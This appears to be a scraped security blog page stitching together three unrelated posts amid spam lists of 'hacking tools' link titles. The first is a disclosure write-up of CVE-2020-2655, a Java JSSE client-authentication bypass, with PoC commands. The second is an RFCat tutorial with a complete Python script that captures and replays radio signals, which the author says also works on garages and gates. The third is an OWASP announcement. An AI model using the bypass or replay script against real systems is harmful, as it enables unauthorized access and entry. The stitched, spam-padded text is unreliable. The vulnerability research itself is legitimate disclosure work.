CVE-2020-2655 JSSE Client Authentication Bypass

TLDR: If you are using TLS ClientAuthentication in Java 11 or newer you should patch NOW. There is a trivial bypass.

During our joint research on DTLS state machines, we discovered a really interesting vulnerability (CVE-2020-2655) in the recent versions of Sun JSSE (Java 11, 13). Interestingly, the vulnerability does not only affect DTLS implementations but does also affects the TLS implementation of JSSE in a similar way. The vulnerability allows an attacker to completely bypass client authentication and to authenticate as any user for which it knows the certificate WITHOUT needing to know the private key. If you just want the PoC's, feel free to skip the intro.

DTLS

I guess most readers are very familiar with the traditional TLS handshake which is used in HTTPS on the web.

DTLS is the crayon eating brother of TLS. It was designed to be very similar to TLS, but to provide the necessary changes to run TLS over UDP. DTLS currently exists in 2 versions (DTLS 1.0 and DTLS 1.2), where DTLS 1.0 roughly equals TLS 1.1 and DTLS 1.2 roughly equals TLS 1.2. DTLS 1.3 is currently in the process of being standardized. But what exactly are the differences? If a protocol uses UDP instead of TCP, it can never be sure that all messages it sent were actually received by the other party or that they arrived in the correct order. If we would just run vanilla TLS over UDP, an out of order or dropped message would break the connection (not only during the handshake). DTLS, therefore, includes additional sequence numbers that allow for the detection of out of order handshake messages or dropped packets. The sequence number is transmitted within the record header and is increased by one for each record transmitted. This is different from TLS, where the record sequence number was implicit and not transmitted with each record. The record sequence numbers are especially relevant once records are transmitted encrypted, as they are included in the additional authenticated data or HMAC computation. This allows a receiving party to verify AEAD tags and HMACs even if a packet was dropped on the transport and the counters are "out of sync".
Besides the record sequence numbers, DTLS has additional header fields in each handshake message to ensure that all the handshake messages have been received. The first handshake message a party sends has the message_seq=0 while the next handshake message a party transmits gets the message_seq=1 and so on. This allows a party to check if it has received all previous handshake messages. If, for example, a server received message_seq=2 and message_seq=4 but did not receive message_seq=3, it knows that it does not have all the required messages and is not allowed to proceed with the handshake. After a reasonable amount of time, it should instead periodically retransmit its previous flight of handshake message, to indicate to the opposing party they are still waiting for further handshake messages. This process gets even more complicated by additional fragmentation fields DTLS includes. The MTU (Maximum Transmission Unit) plays a crucial role in UDP as when you send a UDP packet which is bigger than the MTU the IP layer might have to fragment the packet into multiple packets, which will result in failed transmissions if parts of the fragment get lost in the transport. It is therefore desired to have smaller packets in a UDP based protocol. Since TLS records can get quite big (especially the certificate message as it may contain a whole certificate chain), the messages have to support fragmentation. One would assume that the record layer would be ideal for this scenario, as one could detect missing fragments by their record sequence number. The problem is that the protocol wants to support completely optional records, which do not need to be retransmitted if they are lost. This may, for example, be warning alerts or application data records. Also if one party decides to retransmit a message, it is always retransmitted with an increased record sequence number. For example, the first ClientKeyExchange message might have record sequence 2, the message gets dropped, the client decides that it is time to try again and might send it with record sequence 5. This was done as retransmissions are only part of DTLS within the handshake. After the handshake, it is up to the application to deal with dropped or reordered packets. It is therefore not possible to see just from the record sequence number if handshake fragments have been lost. DTLS, therefore, adds additional handshake message fragment information in each handshake message record which contains information about where the following bytes are supposed to be within a handshake message.


If a party has to replay messages, it might also refragment the messages into bits of different (usually smaller) sizes, as dropped packets might indicate that the packets were too big for the MTU). It might, therefore, happen that you already have received parts of the message, get a retransmission which contains some of the parts you already have, while others are completely new to you and you still do not have the complete message. The only option you then have is to retransmit your whole previous flight to indicate that you still have missing fragments. One notable special case in this retransmission fragmentation madness is the ChangecipherSpec message. In TLS, the ChangecipherSpec message is not a handshake message, but a message of the ChangeCipherSpec protocol. It, therefore, does not have a message_sequence. Only the record it is transmitted in has a record sequence number. This is important for applications that have to determine where to insert a ChangeCipherSpec message in the transcript.

As you might see, this whole record sequence, message sequence, 2nd layer of fragmentation, retransmission stuff (I didn't even mention epoch numbers) which is within DTLS, complicates the whole protocol a lot. Imagine being a developer having to implement this correctly and secure...  This also might be a reason why the scientific research community often does not treat DTLS with the same scrutiny as it does with TLS. It gets really annoying really fast...

Client Authentication

In most deployments of TLS only the server authenticates itself. It usually does this by sending an X.509 certificate to the client and then proving that it is in fact in possession of the private key for the certificate. In the case of RSA, this is done implicitly the ability to compute the shared secret (Premaster secret), in case of (EC)DHE this is done by signing the ephemeral public key of the server. The X.509 certificate is transmitted in plaintext and is not confidential. The client usually does not authenticate itself within the TLS handshake, but rather authenticates in the application layer (for example by transmitting a username and password in HTTP). However, TLS also offers the possibility for client authentication during the TLS handshake. In this case, the server sends a CertificateRequest message during its first flight. The client is then supposed to present its X.509 Certificate, followed by its ClientKeyExchange message (containing either the encrypted premaster secret or its ephemeral public key). After that, the client also has to prove to the server that it is in possession of the private key of the transmitted certificate, as the certificate is not confidential and could be copied by a malicious actor. The client does this by sending a CertificateVerify message, which contains a signature over the handshake transcript up to this point, signed with the private key which belongs to the certificate of the client. The handshake then proceeds as usual with a ChangeCipherSpec message (which tells the other party that upcoming messages will be encrypted under the negotiated keys), followed by a Finished message, which assures that the handshake has not been tampered with. The server also sends a CCS and Finished message, and after that handshake is completed and both parties can exchange application data. The same mechanism is also present in DTLS.

But what should a Client do if it does not possess a certificate? According to the RFC, the client is then supposed to send an empty certificate and skip the CertificateVerify message (as it has no key to sign anything with). It is then up to the TLS server to decide what to do with the client. Some TLS servers provide different options in regards to client authentication and differentiate between REQUIRED and WANTED (and NONE). If the server is set to REQUIRED, it will not finish the TLS handshake without client authentication. In the case of WANTED, the handshake is completed and the authentication status is then passed to the application. The application then has to decide how to proceed with this. This can be useful to present an error to a client asking him to present a certificate or insert a smart card into a reader (or the like). In the presented bugs we set the mode to REQUIRED.

State machines

As you might have noticed it is not trivial to decide when a client or server is allowed to receive or send each message. Some messages are optional, some are required, some messages are retransmitted, others are not. How an implementation reacts to which message when is encompassed by its state machine. Some implementations explicitly implement this state machine, while others only do this implicitly by raising errors internally if things happen which should not happen (like setting a master_secret when a master_secret was already set for the epoch). In our research, we looked exactly at the state machines of DTLS implementations using a grey box approach. The details to our approach will be in our upcoming paper (which will probably have another blog post), but what we basically did is carefully craft message flows and observed the behavior of the implementation to construct a mealy machine which models the behavior of the implementation to in- and out of order messages. We then analyzed these mealy machines for unexpected/unwanted/missing edges. The whole process is very similar to the work of Joeri de Ruiter and Erik Poll.

JSSE Bugs

The bugs we are presenting today were present in Java 11 and Java 13 (Oracle and OpenJDK). Older versions were as far as we know not affected. Cryptography in Java is implemented with so-called SecurityProvider. Per default SUN JCE is used to implement cryptography, however, every developer is free to write or add their own security provider and to use them for their cryptographic operations. One common alternative to SUN JCE is BouncyCastle. The whole concept is very similar to OpenSSL's engine concept (if you are familiar with that). Within the JCE exists JSSE - the Java Secure Socket Extension, which is the SSL/TLS part of JCE. The presented attacks were evaluated using SUN JSSE, so the default TLS implementation in Java. JSSE implements TLS and DTLS (added in Java 9). However, DTLS is not trivial to use, as the interface is quite complex and there are not a lot of good examples on how to use it. In the case of DTLS, only the heart of the protocol is implemented, how the data is moved from A to B is left to the developer. We developed a test harness around the SSLEngine.java to be able to speak DTLS with Java. The way JSSE implemented a state machine is quite interesting, as it was completely different from all other analyzed implementations. JSSE uses a producer/consumer architecture to decided on which messages to process. The code is quite complex but worth a look if you are interested in state machines.

So what is the bug we found? The first bug we discovered is that a JSSE DTLS/TLS Server accepts the following message sequence, with client authentication set to required:


JSSE is totally fine with the messages and finishes the handshake although the client does NOT provide a certificate at all (nor a CertificateVerify message). It is even willing to exchange application data with the client. But are we really authenticated with this message flow? Who are we? We did not provide a certificate! The answer is: it depends. Some applications trust that needClientAuth option of the TLS socket works and that the user is *some* authenticated user, which user exactly does not matter or is decided upon other authentication methods. If an application does this - then yes, you are authenticated. We tested this bug with Apache Tomcat and were able to bypass ClientAuthentication if it was activated and configured to use JSSE. However, if the application decides to check the identity of the user after the TLS socket was opened, an exception is thrown:

The reason for this is the following code snippet from within JSSE:


As we did not send a client certificate the value of peerCerts is null, therefore an exception is thrown. Although this bug is already pretty bad, we found an even worse (and weirder) message sequence which completely authenticates a user to a DTLS server (not TLS server though). Consider the following message sequence:

If we send this message sequence the server magically finishes the handshake with us and we are authenticated.

First off: WTF
Second off: WTF!!!111

This message sequence does not make any sense from a TLS/DTLS perspective. It starts off as a "no-authentication" handshake but then weird things happen. Instead of the Finished message, we send a Certificate message, followed by a Finished message, followed by a second(!) CCS message, followed by another Finished message. Somehow this sequence confuses JSSE such that we are authenticated although we didn't even provide proof that we own the private key for the Certificate we transmitted (as we did not send a CertificateVerify message).
So what is happening here? This bug is basically a combination of multiple bugs within JSSE. By starting the flight with a ClientKeyExchange message instead of a Certificate message, we make JSSE believe that the next messages we are supposed to send are ChangeCipherSpec and Finished (basically the first exploit). Since we did not send a Certificate message we are not required to send a CertificateVerify message. After the ClientKeyExchange message, JSSE is looking for a ChangeCipherSpec message followed by an "encrypted handshake message". JSSE assumes that the first encrypted message it receives will be the Finished message. It, therefore, waits for this condition. By sending ChangeCipherSpec and Certificate we are fulfilling this condition. The Certificate message really is an "encrypted handshake message" :). This triggers JSSE to proceed with the processing of received messages, ChangeCipherSpec message is consumed, and then the Certifi... Nope, JSSE notices that this is not a Finished message, so what JSSE does is buffer this message and revert to the previous state as this step has apparently not worked correctly. It then sees the Finished message - this is ok to receive now as we were *somehow* expecting a Finished message, but JSSE thinks that this Finished is out of place, as it reverted the state already to the previous one. So this message gets also buffered. JSSE is still waiting for a ChangeCipherSpec, "encrypted handshake message" - this is what the second ChangeCipherSpec & Finished is for. These messages trigger JSSE to proceed in the processing. It is actually not important that the last message is a Finished message, any handshake message will do the job. Since JSSE thinks that it got all required messages again it continues to process the received messages, but the Certificate and Finished message we sent previously are still in the buffer. The Certificate message is processed (e.g., the client certificate is written to the SSLContext.java). Then the next message in the buffer is processed, which is a Finished message. JSSE processes the Finished message (as it already had checked that it is fine to receive), it checks that the verify data is correct, and then... it stops processing any further messages. The Finished message basically contains a shortcut. Once it is processed we can stop interpreting other messages in the buffer (like the remaining ChangeCipherSpec & "encrypted handshake message"). JSSE thinks that the handshake has finished and sends ChangeCipherSpec Finished itself and with that the handshake is completed and the connection can be used as normal. If the application using JSSE now decides to check the Certificate in the SSLContext, it will see the certificate we presented (with no possibility to check that we did not present a CertificateVerify). The session is completely valid from JSSE's perspective.

Wow.

The bug was quite complex to analyze and is totally unintuitive. If you are still confused - don't worry. You are in good company, I spent almost a whole day analyzing the details... and I am still confused. The main problem why this bug is present is that JSSE did not validate the received message_sequence numbers of incoming handshake message. It basically called receive, sorted the received messages by their message_sequence, and processed the message in the "intended" order, without checking that this is the order they are supposed to be sent in.
For example, for JSSE the following message sequence (Certificate and CertificateVerify are exchanged) is totally fine:

Not sending a Certificate message was fine for JSSE as the REQUIRED setting was not correctly evaluated during the handshake. The consumer/producer architecture of JSSE then allowed us to cleverly bypass all the sanity checks.
But fortunately (for the community) this bypass does not work for TLS. Only the less-used DTLS is vulnerable. And this also makes kind of sense. DTLS has to be much more relaxed in dealing with out of order messages then TLS as UDP packets can get swapped or lost on transport and we still want to buffer messages even if they are out of order. But unfortunately for the community, there is also a bypass for JSSE TLS - and it is really really trivial:

Yep. You can just not send a CertificateVerify (and therefore no signature at all). If there is no signature there is nothing to be validated. From JSSE's perspective, you are completely authenticated. Nothing fancy, no complex message exchanges. Ouch.

PoC

A vulnerable java server can be found _*here*_. The repository includes a pre-built JSSE server and a Dockerfile to run the server in a vulnerable Java version. (If you want, you can also build the server yourself).
You can build the docker images with the following commands:

docker build . -t poc

You can start the server with docker:

docker run -p 4433:4433 poc tls

The server is configured to enforce client authentication and to only accept the client certificate with the SHA-256 Fingerprint: B3EAFA469E167DDC7358CA9B54006932E4A5A654699707F68040F529637ADBC2.

You can change the fingerprint the server accepts to your own certificates like this:

docker run -p 4433:4433 poc tls f7581c9694dea5cd43d010e1925740c72a422ff0ce92d2433a6b4f667945a746

To exploit the described vulnerabilities, you have to send (D)TLS messages in an unconventional order or have to not send specific messages but still compute correct cryptographic operations. To do this, you could either modify a TLS library of your choice to do the job - or instead use our TLS library TLS-Attacker. TLS-Attacker was built to send arbitrary TLS messages with arbitrary content in an arbitrary order - exactly what we need for this kind of attack. We have already written a few times about TLS-Attacker. You can find a general tutorial __here__, but here is the TLDR (for Ubuntu) to get you going.

Now TLS-Attacker should be built successfully and you should have some built .jar files within the apps/ folder.
We can now create a custom workflow as an XML file where we specify the messages we want to transmit:

This workflow trace basically tells TLS-Attacker to send a default ClientHello, wait for a ServerHelloDone message, then send a ClientKeyExchange message for whichever cipher suite the server chose and then follow it up with a ChangeCipherSpec & Finished message. After that TLS-Attacker will just wait for whatever the server sent. The last action prints the (eventually) transmitted application data into the console. You can execute this WorkflowTrace with the TLS-Client.jar:

java -jar TLS-Client.jar -connect localhost:4433 -workflow_input exploit1.xml

With a vulnerable server the result should look something like this:

and from TLS-Attackers perspective:

As mentioned earlier, if the server is trying to access the certificate, it throws an SSLPeerUnverifiedException. However, if the server does not - it is completely fine exchanging application data.
We can now also run the second exploit against the TLS server (not the one against DTLS). For this case I just simply also send the certificate of a valid client to the server (without knowing the private key). The modified WorkflowTrace looks like this:

Your output should now look like this:

As you can see, when accessing the certificate, no exception is thrown and everything works as if we would have the private key. Yep, it is that simple.
To test the DTLS specific vulnerability we need a vulnerable DTLS-Server:

docker run -p 4434:4433/udp poc:latest dtls

A WorkflowTrace which exploits the DTLS specific vulnerability would look like this:

To execute the handshake we now need to tell TLS-Attacker additionally to use UDP instead of TCP and DTLS instead of TLS:

java -jar TLS-Client.jar -connect localhost:4434 -workflow_input exploit2.xml -transport_handler_type UDP -version DTLS12

Resulting in the following handshake:

As you can see, we can exchange ApplicationData as an authenticated user. The server actually sends the ChangeCipherSpec,Finished messages twice - to avoid retransmissions from the client in case his ChangeCipherSpec,Finished is lost in transit (this is done on purpose).

Conclusion

These bugs are quite fatal for client authentication. The vulnerability got CVSS:4.8 as it is "hard to exploit" apparently. It's hard to estimate the impact of the vulnerability as client authentication is often done in internal networks, on unusual ports or in smart-card setups. If you want to know more about how we found these vulnerabilities you sadly have to wait for our research paper. Until then ~:)

Credits

Paul Fiterau Brostean (@PaulTheGreatest) (Uppsala University)
Robert Merget (@ic0nz1) (Ruhr University Bochum)
Juraj Somorovsky (@jurajsomorovsky) (Ruhr University Bochum)
Kostis Sagonas (Uppsala University)
Bengt Jonsson (Uppsala University)
Joeri de Ruiter (@cypherpunknl)  (SIDN Labs)

 

 Responsible Disclosure

We reported our vulnerabilities to Oracle in September 2019. The patch for these issues was released on 14.01.2020.

Related links

• Hacker Tools For Pc
• Pentest Tools Github
• Top Pentest Tools
• New Hacker Tools
• Hack Apps
• Pentest Tools Website Vulnerability
• Hacker Tools Apk
• Hacking Tools For Mac
• What Is Hacking Tools
• Beginner Hacker Tools
• Hacking Tools Windows
• Best Hacking Tools 2020
• Hack Tools Download
• Hacking Tools Usb
• Growth Hacker Tools
• Hacker Tools Software
• Hacker Hardware Tools
• Hacker Tools Hardware
• Hacker Security Tools
• Growth Hacker Tools
• Pentest Tools Website
• Pentest Tools For Ubuntu
• New Hack Tools
• Hack Tools Mac
• Pentest Tools Android
• Hacking Tools Github

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 

I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.

If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com

Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

https://goo.gl/W56Eau 

YardStick One: (from the last blog)

https://goo.gl/wd88sr 

So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 

This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 

Video Series PlayList Associated with this blog:

The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:

sudo pip install PySide

sudo apt-get install ipython

Plug in your adapter and type in the following: 

rfcat -r 

d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 

Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 

This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  

So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 

Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFlisten()

Entering RFlisten mode...  packets arriving will be displayed on the screen

(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................

If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]

'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 

New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000

Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

print "Starting"

d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)

print 'Transmission Complete'

TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 

• When using a telescopic antenna closed I had almost repeating output with some random bits flipped
• When extending the antenna it went crazy output with random noise
• I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 

• Verify the frequency with RFCat
• How can I listen for it and capture a transmission with RFCat
• How can I send this transmission with RFCat

We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFrecv()

Traceback (most recent call last):

  File "", line 1, in

  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv

    data = self.recv(APP_NIC, NIC_RECV, timeout)

  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv

    raise(ChipconUsbTimeoutException())

ChipconUsbTimeoutException: Timeout waiting for USB response.

OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:

...     d.RFrecv()

... except ChipconUsbTimeoutException:

...     pass

...

That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:

...     d.RFrecv()

... except ChipconUsbTimeoutException:

...     pass

...

while True:

...     try:

...             d.RFrecv()

...     except ChipconUsbTimeoutException:

...             pass

Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 

Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 

Line 14: After that we just print it out. 

When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  

Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 

• We need to parse out the data from the surrounding 0s
• We need to convert it to a format we can send (tricker then it sounds) 
• We need to add padding and send that data over (We know how to do this already) 

Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library

Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop

Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks

Line 22: We print out our list of useable payloads which can been seen in the below output

Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 

for payload in payloads: 

    formatted = ""

    if (len(payload) > 6) and (len(payload) % 2 == 0):

    

        print "Currently being formatted: " + payload 

        iterator = iter(payload)

        for i in iterator:

            formatted += ('\\x'+i + next(iterator))

    else:

        continue

Formatted Hex Vs Manually Pasted Hex

So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 

Below is the output of the following:

• Your encoded capture
• Your parsed payloads in a nice list
• Your payload being processed into hex. 

But this is where things go wrong, you then have :

• Your nicely formatted Hex created by your code above (Yay for us) 
• Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)

 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 

BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:

sudo pip install bitstring

Our New code using BitString: 

Line 2:   I imported bitstring

Line 25: I added a for loop to go through our payload list one by one

Line 27: I convert our current payload to binary

Line 28: I take that binary and I feed it into bitstring to fix the formatting issues

Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below

With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)

Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 

I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.

#—————YardStick_InstantReplay_SimpleVersion.py ----------#

# @Ficti0n

# http://consolecowboys.com 

from rflib import *

import time

import re

import bitstring

print("Listening for them signals in ASK")

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

d.setMaxPower()

d.lowball()

#-----------Start Capture 1 Transmission ----------#

capture = ""

while (1):

    try:

        y, z = d.RFrecv()

        capture = y.encode('hex')

        print capture

        

    except ChipconUsbTimeoutException: 

        pass

    if capture:

        break

#Parse Hex from the capture by reducing 0's

payloads = re.split ('0000*', capture)

print payloads

#----------Start Parse and Create Payload---------#

for payload in payloads: 

    

    formated = ""

    if (len(payload) > 6) and (len(payload) % 2 == 0):

        print "Currently being formatted to binary: " + payload 

        binary = bin(int(payload,16))[2:]

        print binary

        print "Converting binary to bytes: "

        formatted = bitstring.BitArray(bin=(binary)).tobytes()

    else:

        continue

#------------Send Transmission--------------------#

    time.sleep(2)

    print "Sending bytes with padding"

    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)

    print 'Transmission Complete'

Thats All Folks, Whats Next: 

I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

Related news

1. Pentest Tools For Ubuntu
2. Hacking Tools For Beginners
3. Tools Used For Hacking
4. What Is Hacking Tools
5. Hacking Tools For Kali Linux
6. Best Hacking Tools 2020
7. Tools Used For Hacking
8. Pentest Tools Url Fuzzer
9. Pentest Tools Apk
10. Hack Tools Download
11. Ethical Hacker Tools
12. Hacking Tools Pc
13. Hacking Tools Windows
14. Hacking Tools 2019
15. Pentest Tools Alternative
16. Hacking Tools For Mac
17. Pentest Tools Linux
18. Hacker Tools Software
19. Underground Hacker Sites
20. Free Pentest Tools For Windows
21. Growth Hacker Tools
22. Install Pentest Tools Ubuntu
23. Easy Hack Tools
24. Hacking Tools For Kali Linux
25. How To Make Hacking Tools

OWASP Announcement

🕬  OWASP Announcement:

The OWASP Foundation has been chosen to be 1 of 50 Open Source Organizations to participate in the inaugural year of the Google Season of Docs program.

The goal of Season of Docs is to provide a framework for technical writers and open source projects to work together towards the common goal of improving an open source project's documentation. For technical writers who are new to open source, the program provides an opportunity to gain experience in contributing to open source projects. For technical writers who're already working in open source, the program provides a potentially new way of working together. Season of Docs also gives open source projects an opportunity to engage more of the technical writing community.

We would like to thank the OWASP members that donate their time and knowledge as administrators and mentors. It would not be possible if not for these individuals:

Spyros, Fabio, and Konstantinos 

Related posts

1. Pentest Box Tools Download
2. Hacking Tools Usb
3. Hacking Tools For Games
4. Hack Tools Mac
5. Hacker Tool Kit
6. Hacking Tools For Beginners
7. Hacker Tools Windows
8. Hacker Security Tools
9. Pentest Tools Android
10. Blackhat Hacker Tools
11. Hack Apps
